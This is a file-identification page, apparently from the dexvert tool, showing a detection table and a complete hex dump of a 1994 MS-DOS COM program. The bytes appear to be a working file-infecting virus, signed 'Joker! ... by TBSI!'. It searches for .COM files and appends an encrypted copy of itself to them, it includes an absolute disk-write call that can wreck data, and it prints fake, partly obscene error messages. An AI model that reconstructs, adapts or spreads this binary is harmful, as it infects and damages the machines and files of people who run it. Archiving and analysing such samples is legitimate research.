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MS-DOS COM Executable  |  1994-11-03  |  1.6 KB

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This file was processed as: MS-DOS COM Executable (executable/com).
This format is not currently supported by dexvert.

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Disk Image (archive/diskImage) magic Supported
66% dexvert PMarc SFX Archive (archive/pmarcSFX) ext Supported
1% dexvert MS-DOS COM Executable (executable/com) magic Unsupported
1% dexvert Crackright Packed (archive/cackrightPacked) ext Unsupported
1% dexvert COM-Pack Packed (archive/comPackPacked) ext Unsupported
1% dexvert PMexe CP/M Packed (archive/pmexePacked) ext Unsupported
1% dexvert PopCom Packed (archive/popComPacked) ext Unsupported
1% dexvert TurboBat Packed (archive/turboBatPacked) ext Unsupported
1% dexvert Atari executable MSX music (music/atariExecutableMSXMusic) ext Unsupported
1% dexvert DIGIPAK audio driver (executable/digiPAKAudioDriver) ext Unsupported
1% dexvert EICAR antivirus test file (other/eicarAntivirusTestFile) ext Unsupported
100% file DOS executable (COM), start instruction 0xeb089069 909090cd default
99% file data default
100% TrID Generic PC disk image default
100% gt2 DOS COM Executable Datei default



hex view
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|00000010| 0d 01 50 e8 02 00 eb 21 | 3e 8a 86 49 07 8d b6 36 |..P....!|>..I...6|
|00000020| 01 b9 11 06 30 04 d2 c0 | 46 e2 f9 c3 e8 e9 ff 59 |....0...|F......Y|
|00000030| cd 21 e8 e3 ff c3 51 eb | f3 58 33 ff fa 8e d7 bc |.!....Q.|.X3.....|
|00000040| f0 02 fb be 96 00 36 8b | 1c 36 8b 4c 02 8d 96 3a |......6.|.6.L...:|
|00000050| 07 36 89 14 36 8c 4c 02 | 26 8b b5 f8 02 81 fe 43 |.6..6.L.|&......C|
|00000060| 46 75 03 eb 36 90 2e 89 | 5d 4c 2e 89 4d 4e 0e 07 |Fu..6...|]L..MN..|
|00000070| 3e c6 86 77 07 00 3e c6 | 86 46 07 03 8d b6 06 01 |>..w..>.|.F......|
|00000080| bf 00 01 fc a5 a5 b4 1a | 8d 96 4a 07 cd 21 b4 4e |........|..J..!.N|
|00000090| 8d 96 3d 07 8d b6 68 07 | 52 eb 44 b4 1a ba 80 00 |..=...h.|R.D.....|
|000000a0| cd 21 33 ff 8e c7 be 96 | 00 2e 8b 5d 4c 26 89 1c |.!3.....|...]L&..|
|000000b0| 2e 8b 4d 4e 26 89 4c 02 | 0e 07 3e 8b 86 75 07 33 |..MN&.L.|..>..u.3|
|000000c0| db 8b cb 8b d1 8b f2 8b | fe bc fe ff bd 00 01 55 |........|.......U|
|000000d0| 8b e8 c3 0b db 74 06 b4 | 3e cd 21 33 db b4 4f 5a |.....t..|>.!3..OZ|
|000000e0| 52 33 c9 33 db cd 21 73 | 03 e9 a4 00 b8 02 3d 8b |R3.3..!s|......=.|
|000000f0| d6 cd 21 72 de 8b d8 b4 | 3f b9 04 00 8d 96 06 01 |..!r....|?.......|
|00000100| cd 21 3e 80 be 09 01 69 | 74 c9 3e 80 be 06 01 4d |.!>....i|t.>....M|
|00000110| 74 c1 b8 02 42 33 c9 33 | d2 cd 21 80 fc f8 77 b3 |t...B3.3|..!...w.|
|00000120| 3e 89 86 78 07 b4 40 b9 | 04 00 8d 96 06 01 cd 21 |>..x..@.|.......!|
|00000130| 3e 8a a6 49 07 fe c4 80 | d4 00 3e 88 a6 49 07 b4 |>..I....|..>..I..|
|00000140| 40 b9 40 06 8d 96 0a 01 | e8 eb fe b8 00 42 33 c9 |@.@.....|.....B3.|
|00000150| 33 d2 cd 21 3e 8b 86 78 | 07 40 3e 89 86 07 01 3e |3..!>..x|.@>....>|
|00000160| c6 86 06 01 e9 3e c6 86 | 09 01 69 b4 40 b9 04 00 |.....>..|..i.@...|
|00000170| 8d 96 06 01 cd 21 3e fe | 86 77 07 3e fe 8e 46 07 |.....!>.|.w.>..F.|
|00000180| 74 2e 3e fe 86 49 07 3e | 80 96 49 07 00 e9 43 ff |t.>..I.>|..I...C.|
|00000190| 3e 80 be 77 07 03 73 18 | bf 00 01 81 3d cd 20 74 |>..w..s.|....=. t|
|000001a0| 0f 8d 96 43 07 b4 3b cd | 21 72 05 b4 4e e9 2f ff |...C..;.|!r..N./.|
|000001b0| 33 ff 8e c7 b4 2a cd 21 | 80 fa 04 75 0a 80 fe 07 |3....*.!|...u....|
|000001c0| 75 05 33 c0 eb 1f 90 b4 | 2c cd 21 0a c9 75 23 80 |u.3.....|,.!..u#.|
|000001d0| fd 06 7d 1e 02 cd 8b c1 | 98 02 c6 12 c2 80 d4 00 |..}.....|........|
|000001e0| 0b c0 75 01 40 8b d0 b9 | 01 00 33 db b4 19 cd 21 |..u.@...|..3....!|
|000001f0| cd 26 bb df 03 b4 2c cd | 21 fe c6 3a 36 07 04 7c |.&....,.|!..:6..||
|00000200| 06 2a 36 07 04 eb f4 8a | c6 8a c8 98 d1 e0 03 d8 |.*6.....|........|
|00000210| 8b 37 8a 6c ff 8b d6 b4 | 09 cd 21 80 fd 00 74 29 |.7.l....|..!...t)|
|00000220| 80 fd 01 74 fe 80 fd 02 | 74 21 80 fd 03 74 14 80 |...t....|t!...t..|
|00000230| fd 04 74 57 80 fd 05 74 | 6d 80 fd 06 74 60 80 fd |..tW...t|m...t`..|
|00000240| 07 74 03 e9 55 fe e8 fd | ff cd 20 8d 96 ac 03 b4 |.t..U...|.. .....|
|00000250| 09 cd 21 b4 01 cd 21 8d | 96 dc 03 b4 09 cd 21 3c |..!...!.|......!<|
|00000260| 61 72 02 2c 20 3c 41 74 | e0 3c 52 75 0c 8d 96 dc |ar., <At|.<Ru....|
|00000270| 03 b4 09 cd 21 8a f1 eb | 8e 3c 49 74 c6 3c 46 75 |....!...|.<It.<Fu|
|00000280| ca 8d 96 ca 03 b4 09 cd | 21 cd 20 b4 01 cd 21 33 |........|!. ...!3|
|00000290| c0 b9 01 00 8b d0 8d 9e | 7a 07 cd 25 eb a5 8d 96 |........|z..%....|
|000002a0| 3d 04 b4 09 cd 21 b4 01 | cd 21 eb 97 0d 0a 41 62 |=....!..|.!....Ab|
|000002b0| 6f 72 74 2c 20 52 65 74 | 72 79 2c 20 49 67 6e 6f |ort, Ret|ry, Igno|
|000002c0| 72 65 2c 20 46 61 69 6c | 3f 24 0d 0a 0d 0a 46 61 |re, Fail|?$....Fa|
|000002d0| 69 6c 20 6f 6e 20 49 4e | 54 20 32 34 0d 0a 24 5c |il on IN|T 24..$\|
|000002e0| 04 81 04 a5 04 cb 04 09 | 04 02 05 1b 05 44 05 50 |........|.....D.P|
|000002f0| 05 82 05 f1 05 fa 05 17 | 06 2a 06 4a 06 5e 06 83 |........|.*.J.^..|
|00000300| 06 ae 06 cf 06 f7 06 14 | 04 49 27 6d 20 68 75 6e |........|.I'm hun|
|00000310| 67 72 79 21 20 20 49 6e | 73 65 72 74 20 50 49 5a |gry! In|sert PIZ|
|00000320| 5a 41 20 26 20 42 45 45 | 52 20 69 6e 74 6f 20 64 |ZA & BEE|R into d|
|00000330| 72 69 76 65 20 41 3a 20 | 61 6e 64 0d 0a 53 74 72 |rive A: |and..Str|
|00000340| 69 6b 65 20 61 6e 79 20 | 6b 65 79 20 77 68 65 6e |ike any |key when|
|00000350| 20 72 65 61 64 79 2e 2e | 2e 20 24 02 49 6d 70 6f | ready..|. $.Impo|
|00000360| 74 65 6e 63 65 20 65 72 | 72 6f 72 20 72 65 61 64 |tence er|ror read|
|00000370| 69 6e 67 20 75 73 65 72 | 27 73 20 64 69 63 6b 24 |ing user|'s dick$|
|00000380| 00 50 72 6f 67 72 61 6d | 20 74 6f 6f 20 62 69 67 |.Program| too big|
|00000390| 20 74 6f 20 66 69 74 20 | 69 6e 20 6d 65 6d 6f 72 | to fit |in memor|
|000003a0| 79 0d 0a 24 01 43 61 6e | 6e 6f 74 20 6c 6f 61 64 |y..$.Can|not load|
|000003b0| 20 43 4f 4d 4d 41 4e 44 | 2c 20 73 79 73 74 65 6d | COMMAND|, system|
|000003c0| 20 68 61 6c 74 65 64 0d | 0a 24 00 49 27 6d 20 73 | halted.|.$.I'm s|
|000003d0| 6f 72 72 79 2c 20 44 61 | 76 65 2e 2e 2e 2e 20 62 |orry, Da|ve.... b|
|000003e0| 75 74 20 49 27 6d 20 61 | 66 72 61 69 64 20 49 20 |ut I'm a|fraid I |
|000003f0| 63 61 6e 27 74 20 64 6f | 20 74 68 61 74 21 0d 0a |can't do| that!..|
|00000400| 24 05 46 6f 72 6d 61 74 | 20 61 6e 6f 74 68 65 72 |$.Format| another|
|00000410| 3f 20 28 59 2f 4e 29 3f | 20 24 07 44 61 6d 6e 20 |? (Y/N)?| $.Damn |
|00000420| 69 74 21 20 20 49 20 74 | 6f 6c 64 20 79 6f 75 20 |it! I t|old you |
|00000430| 6e 6f 74 20 74 6f 20 74 | 6f 75 63 68 20 74 68 61 |not to t|ouch tha|
|00000440| 74 21 24 00 53 75 63 6b | 20 6d 65 21 0d 0a 24 02 |t!$.Suck| me!..$.|
|00000450| 43 6f 63 6b 73 75 63 6b | 65 72 20 41 74 20 4b 65 |Cocksuck|er At Ke|
|00000460| 79 62 6f 61 72 64 20 65 | 72 72 6f 72 20 72 65 61 |yboard e|rror rea|
|00000470| 64 69 6e 67 20 64 65 76 | 69 63 65 20 43 4f 4e 3a |ding dev|ice CON:|
|00000480| 24 00 07 0d 0d 0d 07 0d | 0d 0d 07 0d 0d 0d 0a 49 |$.......|.......I|
|00000490| 27 6d 20 73 6f 72 72 79 | 2c 20 62 75 74 20 79 6f |'m sorry|, but yo|
|000004a0| 75 72 20 63 61 6c 6c 20 | 63 61 6e 6e 6f 74 20 62 |ur call |cannot b|
|000004b0| 65 20 63 6f 6d 70 6c 65 | 74 65 64 20 61 73 20 64 |e comple|ted as d|
|000004c0| 69 61 6c 65 64 2e 0d 0a | 50 6c 65 61 73 65 20 68 |ialed...|Please h|
|000004d0| 61 6e 67 20 75 70 20 26 | 20 74 72 79 20 79 6f 75 |ang up &| try you|
|000004e0| 72 20 63 61 6c 6c 20 61 | 67 61 69 6e 2e 0d 0a 24 |r call a|gain...$|
|000004f0| 00 4e 6f 21 0d 0a 0d 0a | 24 01 50 61 6e 69 63 20 |.No!....|$.Panic |
|00000500| 6b 65 72 6e 61 6c 20 6d | 6f 64 65 20 69 6e 74 65 |kernal m|ode inte|
|00000510| 72 72 75 70 74 24 05 43 | 4f 4e 4e 45 43 54 20 31 |rrupt$.C|ONNECT 1|
|00000520| 32 30 30 ab 0d 0a 0d 0a | 24 03 4f 6b 61 79 2c 20 |200.....|$.Okay, |
|00000530| 6f 6b 61 79 21 20 20 42 | 65 20 70 61 74 69 65 6e |okay! B|e patien|
|00000540| 74 21 20 2e 2e 2e 0d 0a | 24 00 41 6e 64 20 69 66 |t! .....|$.And if|
|00000550| 20 49 20 72 65 66 75 73 | 65 3f 0d 0a 24 03 46 75 | I refus|e?..$.Fu|
|00000560| 63 6b 20 74 68 65 20 77 | 6f 72 6c 64 20 61 6e 64 |ck the w|orld and|
|00000570| 20 69 74 73 20 66 6f 6c | 6c 6f 77 65 72 73 21 0d | its fol|lowers!.|
|00000580| 0a 24 03 59 6f 75 20 61 | 72 65 20 70 61 74 68 65 |.$.You a|re pathe|
|00000590| 74 69 63 2c 20 6d 61 6e | 2e 2e 2e 20 79 6f 75 20 |tic, man|... you |
|000005a0| 6b 6e 6f 77 20 74 68 61 | 74 3f 0d 0a 24 00 43 75 |know tha|t?..$.Cu|
|000005b0| 6d 20 6f 6e 21 20 20 54 | 61 6c 6b 20 44 49 52 54 |m on! T|alk DIRT|
|000005c0| 59 20 74 6f 20 6d 65 20 | 21 21 21 0d 0a 24 00 59 |Y to me |!!!..$.Y|
|000005d0| 6f 75 72 20 63 6f 70 72 | 6f 63 65 73 73 6f 72 20 |our copr|ocessor |
|000005e0| 77 65 61 72 73 20 66 6c | 6f 70 70 79 20 64 69 73 |wears fl|oppy dis|
|000005f0| 6b 73 21 0d 0a 24 06 4a | 6f 6b 65 72 21 20 76 65 |ks!..$.J|oker! ve|
|00000600| 72 20 e0 e0 20 62 79 20 | 54 42 53 49 21 0d 0a 52 |r .. by |TBSI!..R|
|00000610| 65 6d 65 6d 62 65 72 21 | 20 20 45 56 45 52 59 54 |emember!| EVERYT|
|00000620| 48 49 4e 47 27 73 20 62 | 69 67 67 65 72 20 69 6e |HING's b|igger in|
|00000630| 20 54 65 78 61 73 21 0d | 0a 24 32 c0 cf 2a 2e 43 | Texas!.|.$2..*.C|
|00000640| 4f 4d 00 2e 2e 00 03 00 | 01 00 |OM......|.. |
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